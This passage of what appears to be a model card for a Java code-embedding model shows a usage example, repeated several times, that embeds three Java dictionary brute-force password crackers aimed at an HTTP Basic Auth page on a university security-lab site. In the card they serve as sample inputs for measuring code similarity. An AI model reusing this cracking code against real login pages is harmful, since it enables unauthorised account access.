[c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 